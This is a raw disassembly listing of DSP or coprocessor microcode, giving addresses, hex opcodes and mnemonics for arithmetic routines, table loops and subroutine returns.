04E9: 1C10E3A1 mov (x0+1)+0x200, $0x71 04EA: 1C10E7A1 mov (x0+1)+0x200, $0x73 04EB: 1C1DB270 mov $0x70, d 04EC: 39000001 lia #0x1 04ED: 1F7F1E10 subd 04EE: BE00050D brif zrd #0x50d 04EF: 1C1DB271 mov $0x71, d 04F0: 1D7F1E10 fabd 04F1: 1C1F2019 mov d, a 04F2: 1C1DB237 mov $0x37, d 04F3: 1CFF1E10 fsbd 04F4: 1D7F1E10 fabd 04F5: 1C1C3262 mov d, $0x62 04F6: 1C1DB270 mov $0x70, d 04F7: 39000001 lia #0x1 04F8: 1F7F1E10 subd 04F9: 1C1C3270 mov d, $0x70 04FA: BE00050D brif zrd #0x50d 04FB: 1C10C7A1 mov (x0+1)+0x200, $0x63 04FC: 1C10C9A1 mov (x0+1)+0x200, $0x64 04FD: 1C1DB263 mov $0x63, d 04FE: 1D7F1E10 fabd 04FF: 1C1F2019 mov d, a 0500: 1C1DB237 mov $0x37, d 0501: 1CFF1E10 fsbd 0502: 1D7DA062 fabd : mov $0x62, a 0503: 1C1C3242 mov d, $0x42 0504: 1CFF1E10 fsbd 0505: FE2004F6 brif !led #0x4f6 0506: 1C1DA042 mov $0x42, a 0507: 1C1C2062 mov a, $0x62 0508: 1C1DA063 mov $0x63, a 0509: 1C1C2071 mov a, $0x71 050A: 1C1DA064 mov $0x64, a 050B: 1C1C2073 mov a, $0x73 050C: BF6004F6 brif alw #0x4f6 050D: 1C1DA03B mov $0x3b, a 050E: 1C1DB23A mov $0x3a, d 050F: 1F7F1E10 subd 0510: 1C1F4619 mov d, rf3 0511: 1F5F0619 addd : mov d, x1 0512: 1C034071 mov {0} $0x71, (x1) (e) 0513: 1C1F4619 mov d, rf3 0514: 1F5F0619 addd : mov d, x1 0515: 1C1C323A mov d, $0x3a 0516: 1C034073 mov {0} $0x73, (x1) (e) 0517: BF6A0000 rtif alw 0518: 1C10A803 mov $0x203, $0x54 0519: BF6A0000 rtif alw 051A: 1C1C4270 mov rf1, $0x70 051B: 1C0C5070 mov $0x70, $0x228 051C: 1C1C4270 mov rf1, $0x70 051D: 1C0C5270 mov $0x70, $0x229 051E: 1C1C4270 mov rf1, $0x70 051F: 1C0C5470 mov $0x70, $0x22a 0520: BF60004C brif alw #0x4c 0521: 1C1C4270 mov rf1, $0x70 0522: 000C5270 lab $0x70, $0x229 0523: 1D1C4254 fml : mov rf1, $0x54 0524: 1C1F321C mov p, d 0525: 01F0E828 cfxd : lab $0x228, $0x74 0526: 1F5F1E10 addd 0527: 3900FFFF lia #0xffff 0528: 002C5474 andd : lab $0x74, $0x22a 0529: 1C1CB220 mov d, $0x20 (e) 052A: 1C1E2020 mov $0x20 (e), a 052B: 1D1DB254 fml : mov $0x54, d 052C: 1D3F1E10 fmsd 052D: 1C1F4419 mov d, rf2 052E: BF60004C brif alw #0x4c 052F: 1C1C4270 mov rf1, $0x70 0530: 000C5270 lab $0x70, $0x229 0531: 1D1C4254 fml : mov rf1, $0x54 0532: 1C1F321C mov p, d 0533: 01F0E828 cfxd : lab $0x228, $0x74 0534: 1F5F1E10 addd 0535: 3900FFFF lia #0xffff 0536: 002C5454 andd : lab $0x54, $0x22a 0537: 1D1CB220 fml : mov d, $0x20 (e) 0538: 1C1F261C mov p, b 0539: 1C1E2020 mov $0x20 (e), a 053A: 1D1F1E10 fml 053B: 1C1F441C mov p, rf2 053C: BF60004C brif alw #0x4c 053D: 1C1F3221 mov rf1, d 053E: 1C1DB800 mov $0, p 053F: 1DDF2621 cxfd : mov rf1, b 0540: 1C1F2019 mov d, a 0541: 1D1F1E10 fml 0542: 1C1C3870 mov p, $0x70 0543: 1C0C5670 mov $0x70, $0x22b 0544: BF60004C brif alw #0x4c 0545: 1C1C4270 mov rf1, $0x70 0546: 000C5670 lab $0x70, $0x22b 0547: 1D1C4270 fml : mov rf1, $0x70 0548: 1C0CA870 mov $0x70, $0x254 0549: 1C1F321C mov p, d 054A: 1DFC4270 cfxd : mov rf1, $0x70 054B: 1C0CAA70 mov $0x70, $0x255 054C: 1C1CB220 mov d, $0x20 (e) 054D: 1C08E020 mov $0x20 (e), $0x70 054E: 1C08E221 mov $0x21 (e), $0x71 054F: 000CAA70 lab $0x70, $0x255 0550: 010CA871 fml : lab $0x71, $0x254 0551: 01ACAA71 fspd : lab $0x71, $0x255 0552: 012CA870 fmsd : lab $0x70, $0x254 0553: 1C1F4419 mov d, rf2 0554: 1DBF1E10 fspd 0555: 1D5F1E10 fmrd 0556: 1C1F4419 mov d, rf2 0557: BF60004C brif alw #0x4c 0558: BF60004C brif alw #0x4c 0559: 39003FFF lia #0x3fff 055A: 1C1C2070 mov a, $0x70 055B: 39000010 lia #0x10 055C: 1C1C2064 mov a, $0x64 055D: 1C1DBE64 mov $0x64, sft 055E: 39001375 lia #0x1375 055F: 1C1C2062 mov a, $0x62 0560: 39007FC4 lia #0x7fc4 0561: 1C1C2063 mov a, $0x63 0562: 38000000 lipl #0x0 0563: 1C1F321C mov p, d 0564: 1C1DA063 mov $0x63, a 0565: 1C1CB220 mov d, $0x20 (e) 0566: 1C1E3220 mov $0x20 (e), d 0567: 1EDF2619 lsrd : mov d, b 0568: 1F5DA062 addd : mov $0x62, a 0569: 1C1C3263 mov d, $0x63 056A: 1C1F3213 mov b, d 056B: 1F5DA001 addd : mov $1, a 056C: 1C1C3262 mov d, $0x62 056D: 1C1F321C mov p, d 056E: 1F5DA070 addd : mov $0x70, a 056F: 1C3F3819 andd : mov d, p 0570: FE000564 brif !zrd #0x564 0571: 38000000 lipl #0x0 0572: 1C1CB824 mov p, $0x24 (e) 0573: 1C1CB825 mov p, $0x25 (e) 0574: 1C1CB826 mov p, $0x26 (e) 0575: 1C1F321C mov p, d 0576: 1C1DA062 mov $0x62, a 0577: 1C1CB227 mov d, $0x27 (e) 0578: 1C1E3227 mov $0x27 (e), d 0579: 1F5DA001 addd : mov $1, a 057A: 1C1C3262 mov d, $0x62 057B: 1C1F321C mov p, d 057C: 1F5DA070 addd : mov $0x70, a 057D: 1C3F3819 andd : mov d, p 057E: FE000576 brif !zrd #0x576 057F: 38000000 lipl #0x0 0580: 39800000 lia #0x800000 0581: 1C1CA025 mov a, $0x25 (e) 0582: 1C1F321C mov p, d 0583: 1C1DA063 mov $0x63, a 0584: 1C1CB227 mov d, $0x27 (e) 0585: 1C1E3227 mov $0x27 (e), d 0586: 1F5DA001 addd : mov $1, a 0587: 1C1C3263 mov d, $0x63 0588: 1C1F321C mov p, d 0589: 1F5DA070 addd : mov $0x70, a 058A: 1C3F3819 andd : mov d, p 058B: FE000583 brif !zrd #0x583 058C: 39001FFF lia #0x1fff 058D: 1C1C2070 mov a, $0x70 058E: 38000000 lipl #0x0 058F: 1C1F321C mov p, d 0590: 1C1DA063 mov $0x63, a 0591: 5F00000A ldi #0xa, sft 0592: 1EFDBE64 lsld : mov $0x64, sft 0593: 5A00007F ldi #0x7f, dh 0594: 1C1CB228 mov d, $0x28 (e) 0595: 1C1E3228 mov $0x28 (e), d 0596: 1EDF2619 lsrd : mov d, b 0597: 1F5DA062 addd : mov $0x62, a 0598: 1C1C3263 mov d, $0x63 0599: 1C1F3213 mov b, d 059A: 1F5DA063 addd : mov $0x63, a 059B: 1C1C3262 mov d, $0x62 059C: 1C1E3229 mov $0x29 (e), d 059D: 1EDF2619 lsrd : mov d, b 059E: 1F5DA062 addd : mov $0x62, a 059F: 1C1C3263 mov d, $0x63 05A0: 1C1F3213 mov b, d 05A1: 1F5DA001 addd : mov $1, a 05A2: 1C1C3262 mov d, $0x62 05A3: 1C1F321C mov p, d 05A4: 1F5DA070 addd : mov $0x70, a 05A5: 1C3F3819 andd : mov d, p 05A6: FE000590 brif !zrd #0x590 05A7: 38000000 lipl #0x0 05A8: 1C1F321C mov p, d 05A9: 1C1DA063 mov $0x63, a 05AA: 5F00000A ldi #0xa, sft 05AB: 1EFDBE01 lsld : mov $1, sft 05AC: 5A00003F ldi #0x3f, dh 05AD: 1EFDBE64 lsld : mov $0x64, sft 05AE: 1C1CB22A mov d, $0x2a (e) 05AF: 1C1E322A mov $0x2a (e), d 05B0: 1EDF2619 lsrd : mov d, b 05B1: 1F5DA062 addd : mov $0x62, a 05B2: 1C1C3263 mov d, $0x63 05B3: 1C1F3213 mov b, d 05B4: 1F5DA063 addd : mov $0x63, a 05B5: 1C1C3262 mov d, $0x62 05B6: 1C1E322B mov $0x2b (e), d 05B7: 1EDF2619 lsrd : mov d, b 05B8: 1F5DA062 addd : mov $0x62, a 05B9: 1C1C3263 mov d, $0x63 05BA: 1C1F3213 mov b, d 05BB: 1F5DA001 addd : mov $1, a 05BC: 1C1C3262 mov d, $0x62 05BD: 1C1F321C mov p, d 05BE: 1F5DA070 addd : mov $0x70, a 05BF: 1C3F3819 andd : mov d, p 05C0: FE0005A9 brif !zrd #0x5a9 05C1: 1C1DB262 mov $0x62, d 05C2: 1C1DA063 mov $0x63, a 05C3: 1C1F4419 mov d, rf2 05C4: 1C1F4410 mov a, rf2 05C5: BF60004C brif alw #0x4c 05C6: 1C1C4270 mov rf1, $0x70 05C7: 1C1F3221 mov rf1, d 05C8: 5F000007 ldi #0x7, sft 05C9: 1EFF1E10 lsld 05CA: 1C1F181A mov dh, c0 05CB: 5F000010 ldi #0x10, sft 05CC: 1C1F3221 mov rf1, d 05CD: 1EDC3262 lsrd : mov d, $0x62 05CE: 1C1C3263 mov d, $0x63 05CF: 1C1DA070 mov $0x70, a 05D0: 3B00FFFF lid #0xffff 05D1: 1C3C3271 andd : mov d, $0x71 05D2: 1C1DA063 mov $0x63, a 05D3: 1C1DC670 mov $0x70, rf3 05D4: 1C1F0619 mov d, x1 05D5: 1C1E33A1 mov (x1+1) (e), d 05D6: 1EDF2619 lsrd : mov d, b 05D7: 1F5DA062 addd : mov $0x62, a 05D8: 1C1C3263 mov d, $0x63 05D9: 1C1F3213 mov b, d 05DA: 1F5DA001 addd : mov $1, a 05DB: 1C1C3262 mov d, $0x62 05DC: 1C1DB270 mov $0x70, d 05DD: 1F5DA071 addd : mov $0x71, a 05DE: 1C3C3270 andd : mov d, $0x70 05DF: 1C1DA063 mov $0x63, a 05E0: FE0005D5 brif !zrd #0x5d5 05E1: BF0005D3 brif zc0 #0x5d3 05E2: 41000200 ldi #0x200, b1 05E3: 1C1DB262 mov $0x62, d 05E4: 1C1F4419 mov d, rf2 05E5: 1C1F4410 mov a, rf2 05E6: 39000000 lia #0x0 05E7: 1C1F4610 mov a, rf3 05E8: BF60004C brif alw #0x4c 05E9: 3C020800 clr1 #0x0800 05EA: 39FFFFFC lia #0xfffffc 05EB: 1C1DB27F mov $0x7f, d 05EC: 1C3F2013 andd : mov b, a 05ED: 1C5DA001 orad : mov $1, a 05EE: 1C5C327F orad : mov d, $0x7f 05EF: 1C1C327E mov d, $0x7e 05F0: 1C1DC07F mov $0x7f, rf0 05F1: 3C060800 set #0x0800 05F2: BF60004C brif alw #0x4c 05F3: 1C1C4270 mov rf1, $0x70 05F4: 1C0C4070 mov $0x70, $0x220 05F5: 1C1C4270 mov rf1, $0x70 05F6: 1C0C4270 mov $0x70, $0x221 05F7: 1C1C4270 mov rf1, $0x70 05F8: 1C0C4670 mov $0x70, $0x223 05F9: BF60004C brif alw #0x4c 05FA: 1C1C4270 mov rf1, $0x70 05FB: 000C4070 lab $0x70, $0x220 05FC: 1E9C4270 d=b-a : mov rf1, $0x70 05FD: 000C4270 lab $0x70, $0x221 05FE: 1C1C3270 mov d, $0x70 05FF: 1E8CE070 d=b-a : mov $0x70, $0x270 0600: 1C1C3271 mov d, $0x71 0601: 000CE070 lab $0x70, $0x270 0602: 1D0CE271 fml : mov $0x71, $0x271 0603: 000CE271 lab $0x71, $0x271 0604: 1DBF1E10 fspd 0605: 1D30E223 fmsd : mov $0x223, $0x71 0606: 1C1C3270 mov d, $0x70 0607: 1C1F2019 mov d, a 0608: 1C1CA02A mov a, $0x2a (e) 0609: 5100007F ldi #0x7f, ah 060A: 1C1E262A mov $0x2a (e), b 060B: 1D1E322B fml : mov $0x2b (e), d 060C: 1D5DA070 fmrd : mov $0x70, a 060D: 1C1F2619 mov d, b 060E: 1D1DB200 fml : mov $0, d 060F: 1D9C386B fsmd : mov p, $0x6b 0610: 1C1DA071 mov $0x71, a 0611: 1CFF1E10 fsbd 0612: 1C1C326C mov d, $0x6c 0613: 1C1DC46C mov $0x6c, rf2 0614: BF60004C brif alw #0x4c 0615: 1C1C4270 mov rf1, $0x70 0616: 000C4070 lab $0x70, $0x220 0617: 1E9C4270 d=b-a : mov rf1, $0x70 0618: 000C4270 lab $0x70, $0x221 0619: 1C1C3270 mov d, $0x70 061A: 1E8CE070 d=b-a : mov $0x70, $0x270 061B: 1C1C3271 mov d, $0x71 061C: 000CE070 lab $0x70, $0x270 061D: 1D0CE271 fml : mov $0x71, $0x271 061E: 000CE271 lab $0x71, $0x271 061F: 1DBF1E10 fspd 0620: 1D30E223 fmsd : mov $0x223, $0x71 0621: 1C1C3270 mov d, $0x70 0622: 1C1F2019 mov d, a 0623: 1C1CA02A mov a, $0x2a (e) 0624: 5100007F ldi #0x7f, ah 0625: 1C1E262A mov $0x2a (e), b 0626: 1D1E322B fml : mov $0x2b (e), d 0627: 1D5DA070 fmrd : mov $0x70, a 0628: 1C1F2619 mov d, b 0629: 1D1DB200 fml : mov $0, d 062A: 1D9C386B fsmd : mov p, $0x6b 062B: 1C1DA071 mov $0x71, a 062C: 1CFF1E10 fsbd 062D: 1C1C326C mov d, $0x6c 062E: 1C1DC46C mov $0x6c, rf2 062F: 1C1DC46B mov $0x6b, rf2 0630: BF60004C brif alw #0x4c 0631: 1C1C427B mov rf1, $0x7b 0632: 1C1C427C mov rf1, $0x7c 0633: 1C1C4270 mov rf1, $0x70 0634: 1C0CF670 mov $0x70, $0x27b 0635: 1C1C4270 mov rf1, $0x70 0636: 1C0CF870 mov $0x70, $0x27c 0637: 0010F67B lab $0x27b, $0x7b 0638: 0290F87C d=b-a : lab $0x27c, $0x7c 0639: 1C1C327B mov d, $0x7b 063A: 1E9F1E10 d=b-a 063B: 1C1C327C mov d, $0x7c 063C: BF640674 bsif alw #0x674 063D: 1C1F441C mov p, rf2 063E: BF60004C brif alw #0x4c 063F: BF64066B bsif alw #0x66b 0640: 1C1F4419 mov d, rf2 0641: 1C1F441C mov p, rf2 0642: BF60004C brif alw #0x4c 0643: BF64066B bsif alw #0x66b 0644: 1C1F2021 mov rf1, a 0645: 1CDF2021 fadd : mov rf1, a 0646: 1C1F4419 mov d, rf2 0647: 1C1F321C mov p, d 0648: 1CDF1E10 fadd 0649: 1C1F4419 mov d, rf2 064A: BF60004C brif alw #0x4c 064B: BF64066B bsif alw #0x66b 064C: 1C1C3870 mov p, $0x70 064D: 1C1C3271 mov d, $0x71 064E: BF64066B bsif alw #0x66b 064F: 1C1DA071 mov $0x71, a 0650: 1CDDA070 fadd : mov $0x70, a 0651: 1DBC3254 fspd : mov d, $0x54 0652: 1CDDA654 fadd : mov $0x54, b 0653: 1C1C3253 mov d, $0x53 0654: 1C1DA053 mov $0x53, a 0655: BF640797 bsif alw #0x797 0656: 1C1E3227 mov $0x27 (e), d 0657: 5F000010 ldi #0x10, sft 0658: 1EFD860D lsld : mov $0xd, x1 0659: 1F0CF653 asrd : mov $0x53, $0x27b 065A: 1C1F4419 mov d, rf2 065B: 1C0CF854 mov $0x54, $0x27c 065C: 1C10F67B mov $0x27b, $0x7b 065D: 1C10F87C mov $0x27c, $0x7c 065E: BF640674 bsif alw #0x674 065F: 1C1F441C mov p, rf2 0660: BF60004C brif alw #0x4c 0661: BF64066B bsif alw #0x66b 0662: 1C1F4419 mov d, rf2 0663: 1C1F441C mov p, rf2 0664: 1C1F2021 mov rf1, a 0665: 1CDF2021 fadd : mov rf1, a 0666: 1C1F4419 mov d, rf2 0667: 1C1F321C mov p, d 0668: 1CDF1E10 fadd 0669: 1C1F4419 mov d, rf2 066A: BF60004C brif alw #0x4c 066B: 1C1CC220 mov rf1, $0x20 (e) 066C: 1C08F620 mov $0x20 (e), $0x7b 066D: 1C08F821 mov $0x21 (e), $0x7c 066E: 1C1C427D mov rf1, $0x7d 066F: 1C0CF67D mov $0x7d, $0x27b 0670: 000CF67B lab $0x7b, $0x27b 0671: 010CF67C fml : lab $0x7c, $0x27b 0672: 1DBF1E10 fspd 0673: BF6A0000 rtif alw 0674: 1C0CF67B mov $0x7b, $0x27b 0675: 000CF67B lab $0x7b, $0x27b 0676: 1D0CF87C fml : mov $0x7c, $0x27c 0677: 000CF87C lab $0x7c, $0x27c 0678: 1DBF1E10 fspd 0679: 1D3F1E10 fmsd 067A: 1C1C327D mov d, $0x7d 067B: 1C1F2019 mov d, a 067C: 1C1CA02A mov a, $0x2a (e) 067D: 5100007F ldi #0x7f, ah 067E: 1C1E262A mov $0x2a (e), b 067F: 1D1E322B fml : mov $0x2b (e), d 0680: 1D5DA07D fmrd : mov $0x7d, a 0681: 1C1F2619 mov d, b 0682: 1D1F1E10 fml 0683: BF6A0000 rtif alw 0684: 42000100 ldi #0x100, x0 0685: 1C10ADA1 mov (x0+1)+0x200, $0x56 0686: 1C10AFA1 mov (x0+1)+0x200, $0x57 0687: 1C10B1A1 mov (x0+1)+0x200, $0x58 0688: 1C10B3A1 mov (x0+1)+0x200, $0x59 0689: 1C10B5A1 mov (x0+1)+0x200, $0x5a 068A: 1C10B7A1 mov (x0+1)+0x200, $0x5b 068B: 1C10B9A1 mov (x0+1)+0x200, $0x5c 068C: 1C10BBA1 mov (x0+1)+0x200, $0x5d 068D: 1C10BDA1 mov (x0+1)+0x200, $0x5e 068E: 1C1DB259 mov $0x59, d 068F: 1C1DA05C mov $0x5c, a 0690: 1CFDA05E fsbd : mov $0x5e, a 0691: 1C1C3244 mov d, $0x44 0692: 1C1DB25B mov $0x5b, d 0693: 1CFDA05C fsbd : mov $0x5c, a 0694: 1C1C3246 mov d, $0x46 0695: 1C1DB256 mov $0x56, d 0696: 1CFDA05E fsbd : mov $0x5e, a 0697: 1C1C3245 mov d, $0x45 0698: 1C1DB258 mov $0x58, d 0699: 1CFDA05C fsbd : mov $0x5c, a 069A: 1C1C3247 mov d, $0x47 069B: 1C1DB253 mov $0x53, d 069C: 1CFDA05E fsbd : mov $0x5e, a 069D: 1C1C3248 mov d, $0x48 069E: 1C1DB255 mov $0x55, d 069F: 1CFDA047 fsbd : mov $0x47, a 06A0: 1C1C3249 mov d, $0x49 06A1: 1C1DB203 mov $3, d 06A2: 1CDF1E10 fadd 06A3: BE0006C7 brif zrd #0x6c7 06A4: 1C1DA047 mov $0x47, a 06A5: 1C1DA644 mov $0x44, b 06A6: 1D1DA046 fml : mov $0x46, a 06A7: 1C1DA645 mov $0x45, b 06A8: 1DBDA047 fspd : mov $0x47, a 06A9: 1C1DA648 mov $0x48, b 06AA: 1D5DA049 fmrd : mov $0x49, a 06AB: 1C1C3270 mov d, $0x70 06AC: 1C1DA645 mov $0x45, b 06AD: 1DBF1E10 fspd 06AE: 1D5F1E10 fmrd 06AF: 1C1C3271 mov d, $0x71 06B0: 1C1C2077 mov a, $0x77 06B1: 1C1C2678 mov b, $0x78 06B2: 1C1C3279 mov d, $0x79 06B3: 1C1C387A mov p, $0x7a 06B4: 1C1DA070 mov $0x70, a 06B5: 1C1CA028 mov a, $0x28 (e) 06B6: 5100007F ldi #0x7f, ah 06B7: 1C1E3228 mov $0x28 (e), d 06B8: 1D7F1E10 fabd 06B9: 1C1F2619 mov d, b 06BA: 1D1E3229 fml : mov $0x29 (e), d 06BB: 1D5F1E10 fmrd 06BC: 1C1F2619 mov d, b 06BD: 1C1DA071 mov $0x71, a 06BE: 1D1F1E10 fml 06BF: 1C1C3873 mov p, $0x73 06C0: 1C1DA077 mov $0x77, a 06C1: 1C1DA678 mov $0x78, b 06C2: 1C1DB279 mov $0x79, d 06C3: 1C1DB87A mov $0x7a, p 06C4: 1C1DB273 mov $0x73, d 06C5: 1C1C3243 mov d, $0x43 06C6: BF6006DF brif alw #0x6df 06C7: 1C1DB249 mov $0x49, d 06C8: 1C1DA046 mov $0x46, a 06C9: 1C1C2077 mov a, $0x77 06CA: 1C1C2678 mov b, $0x78 06CB: 1C1C3279 mov d, $0x79 06CC: 1C1C387A mov p, $0x7a 06CD: 1C1DA046 mov $0x46, a 06CE: 1C1CA028 mov a, $0x28 (e) 06CF: 5100007F ldi #0x7f, ah 06D0: 1C1E3228 mov $0x28 (e), d 06D1: 1D7F1E10 fabd 06D2: 1C1F2619 mov d, b 06D3: 1D1E3229 fml : mov $0x29 (e), d 06D4: 1D5F1E10 fmrd 06D5: 1C1F2619 mov d, b 06D6: 1C1DA049 mov $0x49, a 06D7: 1D1F1E10 fml 06D8: 1C1C3873 mov p, $0x73 06D9: 1C1DA077 mov $0x77, a 06DA: 1C1DA678 mov $0x78, b 06DB: 1C1DB279 mov $0x79, d 06DC: 1C1DB87A mov $0x7a, p 06DD: 1C1DB273 mov $0x73, d 06DE: 1C1C3243 mov d, $0x43 06DF: 1C1DB245 mov $0x45, d 06E0: 1C1DA003 mov $3, a 06E1: 1CDF1E10 fadd 06E2: BE0006FF brif zrd #0x6ff 06E3: 1C1DA044 mov $0x44, a 06E4: 1C1DA643 mov $0x43, b 06E5: 1D1DB248 fml : mov $0x48, d 06E6: 1D5DA045 fmrd : mov $0x45, a 06E7: 1C1C3270 mov d, $0x70 06E8: 1C1C2077 mov a, $0x77 06E9: 1C1C2678 mov b, $0x78 06EA: 1C1C3279 mov d, $0x79 06EB: 1C1C387A mov p, $0x7a 06EC: 1C1DA045 mov $0x45, a 06ED: 1C1CA028 mov a, $0x28 (e) 06EE: 5100007F ldi #0x7f, ah 06EF: 1C1E3228 mov $0x28 (e), d 06F0: 1D7F1E10 fabd 06F1: 1C1F2619 mov d, b 06F2: 1D1E3229 fml : mov $0x29 (e), d 06F3: 1D5F1E10 fmrd 06F4: 1C1F2619 mov d, b 06F5: 1C1DA070 mov $0x70, a 06F6: 1D1F1E10 fml 06F7: 1C1C3873 mov p, $0x73 06F8: 1C1DA077 mov $0x77, a 06F9: 1C1DA678 mov $0x78, b 06FA: 1C1DB279 mov $0x79, d 06FB: 1C1DB87A mov $0x7a, p 06FC: 1C1DB273 mov $0x73, d 06FD: 1C1C3242 mov d, $0x42 06FE: BF60071E brif alw #0x71e 06FF: 1C1DA049 mov $0x49, a 0700: 1C1DA644 mov $0x44, b 0701: 1D1DA048 fml : mov $0x48, a 0702: 1C1DA646 mov $0x46, b 0703: 1DBDA047 fspd : mov $0x47, a 0704: 1C1DA644 mov $0x44, b 0705: 1D5F1E10 fmrd 0706: 1C1C3871 mov p, $0x71 0707: 1C1C3270 mov d, $0x70 0708: 1C1C2077 mov a, $0x77 0709: 1C1C2678 mov b, $0x78 070A: 1C1C3279 mov d, $0x79 070B: 1C1C387A mov p, $0x7a 070C: 1C1DA071 mov $0x71, a 070D: 1C1CA028 mov a, $0x28 (e) 070E: 5100007F ldi #0x7f, ah 070F: 1C1E3228 mov $0x28 (e), d 0710: 1D7F1E10 fabd 0711: 1C1F2619 mov d, b 0712: 1D1E3229 fml : mov $0x29 (e), d 0713: 1D5F1E10 fmrd 0714: 1C1F2619 mov d, b 0715: 1C1DA070 mov $0x70, a 0716: 1D1F1E10 fml 0717: 1C1C3873 mov p, $0x73 0718: 1C1DA077 mov $0x77, a 0719: 1C1DA678 mov $0x78, b 071A: 1C1DB279 mov $0x79, d 071B: 1C1DB87A mov $0x7a, p 071C: 1C1DB273 mov $0x73, d 071D: 1C1C3242 mov d, $0x42 071E: 1C1DB243 mov $0x43, d 071F: 1C1DA042 mov $0x42, a 0720: 1C5DA003 orad : mov $3, a 0721: 1CDF1E10 fadd 0722: BE10072B brif ged #0x72b 0723: 42000100 ldi #0x100, x0 0724: 0010E9A6 lab (x0+6)+0x200, $0x74 0725: 1C10B3A1 mov (x0+1)+0x200, $0x59 0726: 1C10B5A1 mov (x0+1)+0x200, $0x5a 0727: 1C10B7A1 mov (x0+1)+0x200, $0x5b 0728: 1C10B9A1 mov (x0+1)+0x200, $0x5c 0729: 1C10BBA1 mov (x0+1)+0x200, $0x5d 072A: 1C10BDA1 mov (x0+1)+0x200, $0x5e 072B: 1C1DB25D mov $0x5d, d 072C: 1C1DA057 mov $0x57, a 072D: 1CFDA058 fsbd : mov $0x58, a 072E: 1C1F2619 mov d, b 072F: 1C1DB25B mov $0x5b, d 0730: 1CFF1E10 fsbd 0731: 1C1F2019 mov d, a 0732: 1D1F1E10 fml 0733: 1C1C3870 mov p, $0x70 0734: 1C1DB25E mov $0x5e, d 0735: 1C1DA058 mov $0x58, a 0736: 1CFDA057 fsbd : mov $0x57, a 0737: 1C1F2619 mov d, b 0738: 1C1DB25A mov $0x5a, d 0739: 1CFF1E10 fsbd 073A: 1C1F2019 mov d, a 073B: 1D1F1E10 fml 073C: 1C1F321C mov p, d 073D: 1C1DA070 mov $0x70, a 073E: 1CFF1E10 fsbd 073F: 1C1C3262 mov d, $0x62 0740: 1C1DB25E mov $0x5e, d 0741: 1C1DA058 mov $0x58, a 0742: 1CFDA056 fsbd : mov $0x56, a 0743: 1C1F2619 mov d, b 0744: 1C1DB259 mov $0x59, d 0745: 1CFF1E10 fsbd 0746: 1C1F2019 mov d, a 0747: 1D1F1E10 fml 0748: 1C1C3870 mov p, $0x70 0749: 1C1DB25C mov $0x5c, d 074A: 1C1DA056 mov $0x56, a 074B: 1CFDA058 fsbd : mov $0x58, a 074C: 1C1F2619 mov d, b 074D: 1C1DB25B mov $0x5b, d 074E: 1CFF1E10 fsbd 074F: 1C1F2019 mov d, a 0750: 1D1F1E10 fml 0751: 1C1F321C mov p, d 0752: 1C1DA070 mov $0x70, a 0753: 1CFF1E10 fsbd 0754: 1C1C3263 mov d, $0x63 0755: 1C1DB25C mov $0x5c, d 0756: 1C1DA056 mov $0x56, a 0757: 1CFDA057 fsbd : mov $0x57, a 0758: 1C1F2619 mov d, b 0759: 1C1DB25A mov $0x5a, d 075A: 1CFF1E10 fsbd 075B: 1C1F2019 mov d, a 075C: 1D1F1E10 fml 075D: 1C1C3870 mov p, $0x70 075E: 1C1DB25D mov $0x5d, d 075F: 1C1DA057 mov $0x57, a 0760: 1CFDA056 fsbd : mov $0x56, a 0761: 1C1F2619 mov d, b 0762: 1C1DB259 mov $0x59, d 0763: 1CFF1E10 fsbd 0764: 1C1F2019 mov d, a 0765: 1D1F1E10 fml 0766: 1C1F321C mov p, d 0767: 1C1DA070 mov $0x70, a 0768: 1CFF1E10 fsbd 0769: 1C1C3264 mov d, $0x64 076A: 1C1DB263 mov $0x63, d 076B: 1C1DA003 mov $3, a 076C: 1CDF1E10 fadd 076D: BE000795 brif zrd #0x795 076E: 1C1DA062 mov $0x62, a 076F: 1C1DA653 mov $0x53, b 0770: 1D1DA064 fml : mov $0x64, a 0771: 1C1DA655 mov $0x55, b 0772: 1DBDA062 fspd : mov $0x62, a 0773: 1D9DA656 fsmd : mov $0x56, b 0774: 1D1DA063 fml : mov $0x63, a 0775: 1C1DA657 mov $0x57, b 0776: 1D5DA064 fmrd : mov $0x64, a 0777: 1C1DA658 mov $0x58, b 0778: 1D5F1E10 fmrd 0779: 1C1F201C mov p, a 077A: 1CFDA063 fsbd : mov $0x63, a 077B: 1C1C3270 mov d, $0x70 077C: 1C1C2077 mov a, $0x77 077D: 1C1C2678 mov b, $0x78 077E: 1C1C3279 mov d, $0x79 077F: 1C1C387A mov p, $0x7a 0780: 1C1DA063 mov $0x63, a 0781: 1C1CA028 mov a, $0x28 (e) 0782: 5100007F ldi #0x7f, ah 0783: 1C1E3228 mov $0x28 (e), d 0784: 1D7F1E10 fabd 0785: 1C1F2619 mov d, b 0786: 1D1E3229 fml : mov $0x29 (e), d 0787: 1D5F1E10 fmrd 0788: 1C1F2619 mov d, b 0789: 1C1DA070 mov $0x70, a 078A: 1D1F1E10 fml 078B: 1C1C3873 mov p, $0x73 078C: 1C1DA077 mov $0x77, a 078D: 1C1DA678 mov $0x78, b 078E: 1C1DB279 mov $0x79, d 078F: 1C1DB87A mov $0x7a, p 0790: 1C1DA005 mov $5, a 0791: 1C1DA673 mov $0x73, b 0792: 1D1F1E10 fml 0793: 1C1C3854 mov p, $0x54 0794: BF600796 brif alw #0x796 0795: 1C10A806 mov $0x206, $0x54 0796: BF6A0000 rtif alw 0797: 1C1CA024 mov a, $0x24 (e) 0798: 1C1CA625 mov b, $0x25 (e) 0799: BEA007AC brif gpio0 #0x7ac 079A: 1C1CA028 mov a, $0x28 (e) 079B: 5100007F ldi #0x7f, ah 079C: 1C1E3228 mov $0x28 (e), d 079D: 1D7F3813 fabd : mov b, p 079E: 1C1F2619 mov d, b 079F: 1D1F261C fml : mov p, b 07A0: 1C1E3229 mov $0x29 (e), d 07A1: 1D5F1E10 fmrd 07A2: 1C1F2019 mov d, a 07A3: 1D1F1E10 fml 07A4: 1C1F321C mov p, d 07A5: 1D7F1E10 fabd 07A6: 5100006F ldi #0x6f, ah 07A7: 527FFFFF ldi #0x7fffff, al 07A8: 1CBF1E10 fcpd 07A9: BE2C3800 ldif led $0, p 07AA: 1C1CB827 mov p, $0x27 (e) 07AB: BF6A0000 rtif alw 07AC: 1C1CA628 mov b, $0x28 (e) 07AD: 5400007F ldi #0x7f, bh 07AE: 1C1E3228 mov $0x28 (e), d 07AF: 1D7F3810 fabd : mov a, p 07B0: 1C1F2019 mov d, a 07B1: 1D1F201C fml : mov p, a 07B2: 1C1E3229 mov $0x29 (e), d 07B3: 1D5F1E10 fmrd 07B4: 1C1F2619 mov d, b 07B5: 1D1F1E10 fml 07B6: 1C1F321C mov p, d 07B7: 1D7F1E10 fabd 